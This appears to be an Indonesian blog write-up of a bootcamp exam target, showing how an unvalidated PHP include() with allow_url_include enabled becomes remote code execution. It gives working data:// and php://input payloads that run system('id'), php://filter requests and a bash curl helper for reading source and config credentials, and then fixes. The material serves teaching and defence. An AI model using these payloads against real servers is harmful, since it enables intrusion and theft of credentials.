LFI, local file inclusion, biasanya cuma soal maksa aplikasi baca file yang harusnya enggak kebuka. Begitu ketemu konfigurasi yang longgar, dia bisa naik kelas jadi RCE, jalanin command langsung di server. Itu lompatan yang bikin bug ini beda level.
Gua ketemu contohnya pas exam bootcamp cyber security, target yang sama tempat IDOR di halaman profil cuma baca data orang lain dan race condition di voucher soal timing doang. Yang ini jalanin command langsung di server-nya.
Include yang percaya apa aja
Halaman utama /index.php nerima parameter GET page, terus ngoper nilainya langsung ke include(). Enggak ada whitelist, enggak ada validasi ekstensi, enggak ada apa-apa. Sialnya lagi, server ini allow_url_include = On, jadi include()-nya bisa nerima wrapper PHP yang macem-macem, bukan cuma path file lokal.
Gua coba wrapper data://. Ini stream wrapper yang isinya bisa data mentah, base64, apa aja, dan kalau allow_url_include nyala, include() bakal eksekusi isinya sebagai PHP. Payload PHP-nya gua encode dulu:
echo -n '<?php system("id"); ?>' | base64
# PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg==
Terus tinggal tempel ke parameter page:
GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg== HTTP/1.1
Host: exam.redacted

uid=33(www-data) gid=33(www-data) groups=33(www-data) nongol di halaman. Command jalan, tapi bukan di terminal gua, di server. Butuh beberapa detik buat sadar itu bukan gua yang salah run command di laptop sendiri.
POST juga bisa, lewat php://input
php://input itu stream buat baca body mentah request HTTP. Enggak butuh encoding apa-apa kayak data://, tinggal kirim payload PHP-nya di body:
POST /?page=php://input HTTP/1.1
Host: exam.redacted
<?php system("id"); ?>

Sama, uid=33(www-data). Dua wrapper beda, hasil sama, karena akar masalahnya sama: allow_url_include = On bikin PHP nganggep data:// sama php://input itu “url include” yang boleh dieksekusi, bukan cuma dibaca.
Ubah black-box jadi white-box
Ini langkah yang bikin exam ini enggak lagi black-box. Wrapper php://filter/convert.base64-encode/resource=<file> beda karakter sama dua di atas: dia enggak butuh allow_url_include, soalnya bukan wrapper remote, cuma local stream filter yang baca file terus di-encode base64 sebelum di-return. Bukan dieksekusi, jadi source code PHP-nya sendiri bisa kebaca, bukan hasil running-nya.
GET /?page=php://filter/convert.base64-encode/resource=<FILE> HTTP/1.1
Host: exam.redacted
Ganti <FILE> dengan nama file target (config.php, index.php, apa aja yang ketemu), response-nya base64 blob, decode lokal, dan source code-nya kebaca utuh. Termasuk config.php, yang biasanya isinya kredensial database.
Script biar enggak capek klik manual
Daripada bolak-balik Repeater terus decode base64 manual tiap file, gua bikin fungsi bash kecil:
fetch_src() {
curl -sk "https://exam.redacted/?page=php://filter/convert.base64-encode/resource=$1" \
| grep -oE '[A-Za-z0-9+/]{40,}={0,2}' \
| awk '{if(length>m){m=length;v=$0}} END{print v}' \
| base64 -d # macOS: base64 bawaan BSD, ganti -d jadi -D
}
# contoh pakai:
fetch_src config.php
fetch_src index.php > src/index.php
grep narik semua blob yang keliatan kayak base64 (rangkaian karakter base64 minimal 40 karakter), awk milih yang paling panjang di antara itu (asumsinya source code jadi blob terpanjang di halaman, bukan whitespace atau elemen lain), base64 -d decode. Kasar, tapi cukup buat exam ini, enggak semua respons bersih cuma base64 doang.
Nyari nama file tanpa ls
Masalahnya, LFI gini enggak ada ls. Enggak ada direktori listing. Nyari nama file jadi kayak main tebak-tebakan, ngikutin graf include dan link, bukan brute-force wordlist (meski itu juga opsi, cuma gua pilih baca dulu).
Mulai dari index.php, itu pasti ada:
require_once 'config.php';
require_once 'includes/header.php';
require_once 'includes/footer.php';
includes/header.php nampilin menu navigasi, dan dari situ ketauan ada /user/*.php, /products/, /cart/, /admin/. Tiap endpoint yang ketemu biasanya require_once __DIR__.'/../config.php' juga, plus nyebut sibling-nya sendiri: login.php nyambung ke register.php, admin/index.php nyambung ke semua submenu admin. Satu file bocorin nama file lain, gitu terus sampai peta-nya lumayan lengkap.

admin/fetch_url.php sama admin/upload.php itu dua nama yang bikin gua penasaran paling banyak. Fetch URL biasanya bau SSRF, upload biasanya bau webshell, dan dua-duanya emang ujung-ujungnya jadi bug sendiri, cuma enggak gua bahas di tulisan ini.
Kenapa segampang ini
LFI “biasa” itu cuma bisa baca file yang udah ada di server, batasannya path traversal dan permission. Yang bikin ini naik kelas jadi RCE adalah kombinasi dua hal: include() nerima input user tanpa validasi (CWE-98, PHP Remote File Inclusion, yang bisa berujung ke CWE-94, Code Injection), dan allow_url_include = On yang bikin PHP mau nganggep wrapper macem data:// atau php://input sebagai sumber kode yang sah buat di-include, bukan cuma path lokal.
Kalau allow_url_include mati, dua wrapper RCE di atas enggak jalan, cuma php://filter doang yang masih bisa buat baca source (karena dia local filter, bukan url include). Jadi RCE-nya spesifik butuh kombinasi validasi yang ilang plus konfigurasi PHP yang longgar, bukan cuma satu dari keduanya.
Nutup dari php.ini sampai kode
Yang paling langsung: matiin allow_url_include (dan allow_url_fopen kalau enggak kepake) di php.ini. Ini nutup jalur RCE lewat data:// dan php://input sekaligus, tanpa nyentuh kode aplikasi.
Tapi akar masalahnya tetep di include($_GET['page']). Perbaikan yang bener taruh whitelist eksplisit, bukan nerima nama file mentah:
$pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php',
];
$page = $pages[$_GET['page'] ?? 'home'] ?? $pages['home'];
include __DIR__ . '/pages/' . $page;
Kalau key-nya enggak ada di $pages, fallback ke default, bukan coba-coba include apa pun yang dikirim user. Enggak ada wrapper, enggak ada path traversal, karena nilai yang masuk ke include() enggak pernah langsung dari request.
Ada dua hal lain yang enggak ada salahnya ditambahin juga: matiin fungsi berbahaya (system, exec, shell_exec, passthru) lewat disable_functions di php.ini kalau memang enggak dipakai aplikasi, dan jalanin proses PHP-nya pakai user dengan hak seminim mungkin, biar kalau ada RCE lolos, dampaknya masih kebatasin.
RCE kayak gini, kalau ketemu di luar exam, berhentinya di titik pembuktian doang (command id, bukan lanjut ngoprek lebih jauh tanpa izin). Studi kasus ini sendiri gua dapetin di exam bootcamp cyber security yang emang disiapin buat dieksploitasi kayak gini.
Sumber: